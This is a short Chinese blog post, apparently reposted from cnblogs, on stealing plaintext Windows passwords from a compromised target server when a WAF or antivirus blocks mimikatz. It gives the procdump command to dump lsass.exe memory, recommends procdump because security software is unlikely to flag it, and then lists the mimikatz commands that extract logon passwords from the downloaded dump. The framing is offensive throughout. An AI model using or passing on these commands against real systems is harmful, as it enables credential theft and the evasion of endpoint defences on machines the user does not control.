mimikaz在waf下抓取windows明文密码

标签：mini   passwords   文件   服务器配置   span   compute   div   系统   word   

当拿到目标服务器时，我们一般会使用神器mimkaz来抓取目标服务器的明文密码，但是如果目标服务器配置了waf，mimikaz无法抓取时，这是可以将存有帐号密码的dmp文件下载到本地来使用mimikaz抓取。

实现自己搭建一个与目标机器同样的系统环境。然后利用如下命令来下载dmp文件;

procdump.exe -accepteula -ma lsass.exe %COMPUTERNAME%_lsass.dmp

这个procdump.exe是微软工具包中的一个工具，不会被杀毒ban了，将该dmp下载好了之后，利用一下两条mimikaz命令，可以抓取出windows明文密码

mimikatz # sekurlsa::minidump lsass.DMP

mimikatz # sekurlsa::logonPasswords full

mimikaz在waf下抓取windows明文密码

标签：mini   passwords   文件   服务器配置   span   compute   div   系统   word   

原文地址：http://www.cnblogs.com/penguinCold/p/7427230.html